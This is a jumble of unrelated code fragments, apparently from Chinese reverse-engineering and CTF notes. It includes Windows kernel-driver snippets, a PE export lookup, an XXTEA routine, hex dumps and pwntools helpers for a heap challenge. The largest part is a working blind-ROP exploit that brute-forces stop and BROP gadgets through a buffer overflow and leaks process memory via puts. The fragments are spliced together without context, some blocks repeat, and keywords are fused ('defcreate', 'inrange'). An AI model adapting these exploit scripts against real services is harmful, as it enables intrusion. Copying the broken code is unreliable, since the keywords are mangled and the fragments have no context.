Status = 0; Irp->IoStatus.Information = 0; if ( ExGetPreviousMode() ) { v4 = 0; v5 = 0; if ( !(unsigned __int8)sub_140012CC0(&v4, &v5) ) { Status = (NTSTATUS)0x80000016; goto COMPLETE; }
Process = IoGetCurrentProcess(); Manager = sub_1400135D0(); Context = sub_1400194C0(Manager, Process, DeviceObject); Created = false; if ( !Context ) { Process = IoGetCurrentProcess(); Context = sub_140018DF0( Manager, Process, &v5, v4, &Status, DeviceObject); if ( !Context ) goto COMPLETE; Created = true; }
Status = sub_14001A3F0( sub_140035390(), Irp->Tail.Overlay.OriginalFileObject); if ( Status ) { if ( Created ) { Process = IoGetCurrentProcess(); sub_140018F20(sub_1400135D0(), Process); } } else { Process = IoGetCurrentProcess(); sub_140029F70(sub_14001DEF0(), Process); } }
//驱动入口 main NTSTATUS DriverEntry(PDRIVER_OBJECT pDriver, PUNICODE_STRING pReg) { DbgBreakPoint();
PDriverSection myDriverSection = pDriver->DriverSection; int num = 0; //Link和整个结构体共享地址 //同时，myDriverSection->Link.Flink是最后一个节点，也就是null节点，所以还要指向下一个回到第一个节点 for (PDriverSection p = (myDriverSection->Link.Flink)->Flink; p != myDriverSection->Link.Flink; p = p->Link.Flink) { DbgPrintEx(77, 0, "[%d] DriverName: %wZ\n", ++num, &p->sysName); }
typedefstruct _RTL_PROCESS_MODULE_INFORMATION { HANDLE Section; // Not filled in PVOID MappedBase; // Base address of the mapped module PVOID ImageBase; // Base address of the module in memory ULONG ImageSize; // Size of the module in memory ULONG Flags; // Flags associated with the module USHORT LoadOrderIndex; // Load order of the module USHORT InitOrderIndex; // Initialization order of the module USHORT LoadCount; // Number of times the module is loaded USHORT OffsetToFileName; // Offset to the module's file name UCHAR FullPathName[256]; // Full path of the module } RTL_PROCESS_MODULE_INFORMATION, * PRTL_PROCESS_MODULE_INFORMATION; typedefstruct _RTL_PROCESS_MODULES { ULONG NumberOfModules; // Total number of modules RTL_PROCESS_MODULE_INFORMATION Modules[1]; // Array of module information } RTL_PROCESS_MODULES, * PRTL_PROCESS_MODULES;
set "workpath=%cd%" cd ../ set "mainpath=%cd%" set "genPath=%mainpath%\Release" set "aimPath=%genPath%\LoadTest.sys" set "buildPath=%genPath%\BuildFile.exe" cd%workpath% %buildPath%%aimPath% sys.h sysData
for (int i = 0; i < pExport->NumberOfNames; i++) { char* name = nameTable[i] + imageBase; int ordinal = -1; if (!strcmp(name, funcName)) { ordinal = ordinalTable[i]; }
defcreate(bs, bn, ds, d): p.sendlineafter(b'> ', b'1') p.sendlineafter(b'Enter book name size: ', bs) p.sendlineafter(b'Enter book name (Max 32 chars): ', bn) p.sendlineafter(b'Enter book description size: ', ds) p.sendlineafter(b'Enter book description: ', d)
defedit(ids, d): p.sendlineafter(b'> ', b'3') p.sendlineafter(b'Enter the book id you want to edit: ', ids) p.sendlineafter(b'Enter new book description: ', d)
defshow(): p.sendlineafter(b'> ', b'4') defdelete(ids): p.sendlineafter(b'> ', b'2') p.sendlineafter(b'Enter the book id you want to delete: ', ids)
defcreate(bs, bn, ds, d): p.sendlineafter(b'> ', b'1') p.sendlineafter(b'Enter book name size: ', bs) p.sendlineafter(b'Enter book name (Max 32 chars): ', bn) p.sendlineafter(b'Enter book description size: ', ds) p.sendlineafter(b'Enter book description: ', d)
defedit(ids, d): p.sendlineafter(b'> ', b'3') p.sendlineafter(b'Enter the book id you want to edit: ', ids) p.sendlineafter(b'Enter new book description: ', d)
defshow(): p.sendlineafter(b'> ', b'4') defdelete(ids): p.sendlineafter(b'> ', b'2') p.sendlineafter(b'Enter the book id you want to delete: ', ids)
#从40W开始，400590,400591,400595,0x400596 linux会崩掉 for i inrange(0x400597,0xffffffffffffffff): try: print(hex(i)) p = process('./brop') p.recvuntil("WelCome my friend,Do you know password?\n") payload = b'a' * overflowlen + p64(i) p.sendline(payload) res = p.recv() #测试发现程序崩溃后不会打印之后的字符串 if res == b'WelCome my friend,Do you know password?\n': print('stop gadget: ',hex(i)) exit(0) p.close() except Exception: p.close()
#已经确认744之前无brop gadget 不是recv timeout就是linux崩 for i inrange(0x40074a,0xffffffffffffffff): try: #都会导致linux崩溃 #if i == 0x400590 or i == 0x400591 or i == 0x400595 or i == 0x400596 or i == 0x4005cc or i == 0x4005cb: if i == 0x4006f2or i == 0x400700or i == 0x400734: continue print(hex(i)) p = process('./brop') p.recvuntil("WelCome my friend,Do you know password?\n") payload = b'a' * overflowlen + p64(i) + p64(trap) + p64(trap)+ p64(trap)+ p64(trap)+ p64(trap)+ p64(trap) + p64(stop) + p64(trap) p.sendline(payload) res = p.recv(timeout = 2) if res == b'WelCome my friend,Do you know password?\n': #判断探针i是否本身就是一个stop p.close() try: p = process('./brop') p.recvuntil("WelCome my friend,Do you know password?\n") payload = b'a' * overflowlen + p64(i) + p64(trap) + p64(trap)+ p64(trap)+ p64(trap)+ p64(trap)+ p64(trap) + p64(trap) + p64(trap) p.sendline(payload) res = p.recv(timeout = 2) except Exception: print('brop gadget: ',hex(i)) exit(0) p.close() continue p.close() except Exception: p.close()
defleak(start,end): data = b'' i = start while(1): p = process('./brop') p.recvuntil("WelCome my friend,Do you know password?\n") payload = b'a'*overflowlen + p64(pop_rdi_ret) + p64(i) + p64(put_plt) + p64(stop) p.sendline(payload) try: res = p.recvuntil(b"\nWelCome",timeout = 2) res = res[:-8] data = data + res + b'\x00' i = i + len(res) + 1 p.close() except Exception: p.close() if i >= end: break return data
#从put_plt往后0x100个字节，当然也可以从40W开始 res = leak(put_plt,put_plt+0x100)
BE 44 7B 02 BA 95 4B 8C E3 A8 F1 90 FB CD A4 3C 2F EE 9E 6879 AA 6D ED 85 B0 77 2F 27 3F 41 FF 1F C1 CF 43 AA 00 AC FA 714357 09 51 BA F7 B2 67965247 A0 5040 C7
a1 e3 519886567649 6f 6b 2b 81 cf ce 1296 a2 7035 3c 3162 5c f1 fa 77 6b aa 9e 6d 05 be e8 24 a4 f8 db 23 3a 0b 1620 cc 03 ad b5 2b a9 34 9f 78 1d 2e b9 f9 9e
voidxxtea(DWORD* v, int n, DWORD const key[4]) { DWORD y, z, sum; unsigned p, rounds, e; rounds = 0x66; sum = 0; z = v[n - 1]; do { sum += DELTA; e = (sum >> 2) & 3; for (p = 0; p < n - 1; p++) { y = v[p + 1]; z = v[p] += MX; } y = v[0]; z = v[n - 1] += MX; if (rounds == 0x66) printf("%d轮：v0: %x v1: %x\n", rounds, y, z); } while (--rounds); }
